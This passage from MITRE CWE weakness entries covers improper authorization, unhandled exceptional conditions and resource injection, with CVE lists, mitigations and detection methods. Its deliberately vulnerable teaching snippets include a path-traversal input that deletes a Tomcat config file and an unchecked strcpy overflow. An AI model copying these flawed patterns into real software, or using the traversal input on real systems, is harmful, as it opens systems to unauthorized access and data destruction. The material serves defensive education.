Integrity	Technical Impact: Modify Application Data; Modify Files or Directories An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.
Access Control	Technical Impact: Gain Privileges or Assume Identity An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

This function runs an arbitrary SQL query on a given database, returning the result of the query.

(bad code)

Example Language: PHP

function runEmployeeQuery($dbName, $name){

mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
//Use a prepared statement to avoid CWE-89
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
$preparedStatement->execute(array(':name' => $name));
return $preparedStatement->fetchAll();

}
/.../

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

(bad code)

Example Language: Perl

sub DisplayPrivateMessage {

my($id) = @_;
my $Message = LookupMessageObject($id);
print "From: " . encodeHTML($Message->{from}) . "<br>\n";
print "Subject: " . encodeHTML($Message->{subject}) . "\n";
print "<hr>\n";
print "Body: " . encodeHTML($Message->{body}) . "\n";

}

my $q = new CGI;
# For purposes of this example, assume that CWE-309 and

# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {

ExitError("invalid username or password");

}

my $id = $q->param('id');
DisplayPrivateMessage($id);

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

Observed Examples

Reference	Description
CVE-2022-24730	Go-based continuous deployment product does not check that a user has certain privileges to update or create an app, allowing adversaries to read sensitive repository information
CVE-2009-3168	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
CVE-2009-2960	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
CVE-2009-3597	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
CVE-2009-2282	Terminal server does not check authorization for guest access.
CVE-2009-3230	Database server does not use appropriate privileges for certain sensitive operations.
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings.
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
CVE-2008-5027	System monitoring software allows users to bypass authorization by creating custom forms.
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
CVE-2009-3781	Content management system does not check access permissions for private files, allowing others to view those files.
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
CVE-2008-6548	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
CVE-2007-2925	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
CVE-2005-3623	OS kernel does not check for a certain privilege before setting ACLs for files.
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.

Potential Mitigations

Phase: Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phases: System Configuration; Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

Manual Analysis

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

Fuzz Tester

Framework-based Fuzzer

Forced Path Execution

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	254	7PK - Security Features
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	723	OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	753	2009 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	803	2010 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	935	OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	945	SFP Secondary Cluster: Insecure Resource Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1382	ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

CWE-285 is high-level and lower-level CWEs can frequently be used instead. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Look at CWE-285's children and consider mapping to CWEs such as CWE-862: Missing Authorization, CWE-863: Incorrect Authorization, CWE-732: Incorrect Permission Assignment for Critical Resource, or others.

Suggestions:

CWE-ID	Comment
CWE-862	Missing Authorization
CWE-863	Incorrect Authorization
CWE-732	Incorrect Permission Assignment for Critical Resource

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Missing Access Control
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
Software Fault Patterns	SFP35		Insecure resource access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-1	Accessing Functionality Not Properly Constrained by ACLs
CAPEC-104	Cross Zone Scripting
CAPEC-127	Directory Indexing
CAPEC-13	Subverting Environment Variable Values
CAPEC-17	Using Malicious Files
CAPEC-39	Manipulating Opaque Client-based Data Tokens
CAPEC-402	Bypassing ATA Password Security
CAPEC-45	Buffer Overflow via Symbolic Links
CAPEC-5	Blue Boxing
CAPEC-51	Poison Web Service Registry
CAPEC-59	Session Credential Falsification through Prediction
CAPEC-60	Reusing Session IDs (aka Session Replay)
CAPEC-647	Collect Data from Registries
CAPEC-668	Key Negotiation of Bluetooth Attack (KNOB)
CAPEC-76	Manipulating Web Input to File System Calls
CAPEC-77	Manipulating User-Controlled Variables
CAPEC-87	Forceful Browsing

References

[REF-229] NIST. "Role Based Access Control and Role Based Security". <https://csrc.nist.gov/projects/role-based-access-control>. URL validated: 2023-04-07.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-231] Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04. <https://www.sans.org/blog/top-25-series-rank-5-improper-access-control-authorization/>. URL validated: 2023-04-07.

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.

[REF-233] Rahul Bhattacharjee. "Authentication using JAAS". <https://javaranch.com/journal/2008/04/authentication-using-JAAS.html>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39. 1st Edition. Addison Wesley. 2006.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "ACL Inheritance", Page 649. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	7 Pernicious Kingdoms
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Description, Related_Attack_Patterns
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Relationships
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Type
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Relationships
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Potential_Mitigations
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, References, Relationships
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Description
2011-03-24	CWE Content Team	MITRE
2011-03-24	Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Background_Details, Demonstrative_Examples, Description, Name, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Observed_Examples, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated References, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Alternate_Terms
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Related_Attack_Patterns
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Observed_Examples
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Potential_Mitigations
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2009-01-12	Missing or Inconsistent Access Control

2011-03-29	Improper Access Control (Authorization)

Weakness ID: 703

View customized information:

Description

The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1000	Research Concepts
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	228	Improper Handling of Syntactically Invalid Structure
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	393	Return of Wrong Status Code
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	397	Declaration of Throws for Generic Exception
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	754	Improper Check for Unusual or Exceptional Conditions
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	755	Improper Handling of Exceptional Conditions
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	1384	Improper Handling of Physical or Environmental Conditions

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1012	Cross Cutting

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	248	Uncaught Exception
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	391	Unchecked Error Condition
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	392	Missing Report of Error Condition

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	248	Uncaught Exception
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	391	Unchecked Error Condition
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	392	Missing Report of Error Condition

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Availability Integrity	Technical Impact: Read Application Data; DoS: Crash, Exit, or Restart; Unexpected State

Demonstrative Examples

Example 1

Consider the following code segment:

(bad code)

Example Language: C

char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2

The following method throws three types of exceptions.

(good code)

Example Language: Java

public void doExchange() throws IOException, InvocationTargetException, SQLException {

...

}

While it might seem tidier to write

(bad code)

public void doExchange() throws Exception {

...

}

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

Observed Examples

Reference	Description
	Chain: JavaScript-based cryptocurrency library can fall back to the insecure Math.random() function instead of reporting a failure (CWE-392), thus reducing the entropy (CWE-332) and leading to generation of non-unique cryptographic keys for Bitcoin wallets (CWE-1391)
CVE-2022-22224	Chain: an operating system does not properly process malformed Open Shortest Path First (OSPF) Type/Length/Value Identifiers (TLV) (CWE-703), which can cause the process to enter an infinite loop (CWE-835)

Detection Methods

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Fault Injection - source code

Fault Injection - binary

Cost effective for partial coverage:

Forced Path Execution

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	961	SFP Secondary Cluster: Incorrect Exception Behavior
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is extremely high-level, a Pillar.

Comments:

Consider children or descendants of this entry instead.

Notes

Relationship

This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR06-J		Do not throw undeclared checked exceptions

References

[REF-567] Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995-08-01. <http://ftp.cerias.purdue.edu/pub/papers/taimur-aslam/aslam-taxonomy-msthesis.pdf>.

[REF-568] Taimur Aslam, Ivan Krsul and Eugene H. Spafford. "Use of A Taxonomy of Security Faults". 1995-08-01. <https://csrc.nist.gov/csrc/media/publications/conference-paper/1996/10/22/proceedings-of-the-19th-nissc-1996/documents/paper057/paper.pdf>. URL validated: 2023-04-07.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.

[REF-1374] Unciphered. "Randstorm: You Can't Patch a House of Cards". 2023-11-14. <https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards>. URL validated: 2023-11-15.

Content History

Submissions
Submission Date	Submitter	Organization
2008-09-09 (CWE 1.0, 2008-09-09)	CWE Content Team	MITRE
2008-09-09 (CWE 1.0, 2008-09-09)	Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Relationships
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Other_Notes
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Name, Relationship_Notes
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships, Taxonomy_Mappings
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Relationships, Type
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples, Observed_Examples, References, Relationships
Previous Entry Names
Change Date	Previous Entry Name
2010-12-13	Failure to Handle Exceptional Conditions

Weakness ID: 99

Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

Extended Description

A resource injection issue occurs when the following two conditions are met:

An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.
By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

This may enable an attacker to access or modify otherwise protected system resources.

Alternate Terms

Insecure Direct Object Reference:	OWASP uses this term, although it is effectively the same as resource injection.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	641	Improper Restriction of Names for Files and Other Resources
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	694	Use of Multiple Resources with Duplicate Identifier
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	914	Improper Control of Dynamically-Identified Variables
PeerOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	706	Use of Incorrectly-Resolved Name or Reference
CanAlsoBe	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	73	External Control of File Name or Path

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Technical Impact: Read Application Data; Modify Application Data; Read Files or Directories; Modify Files or Directories An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

(bad code)

Example Language: Java

String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();

Example 2

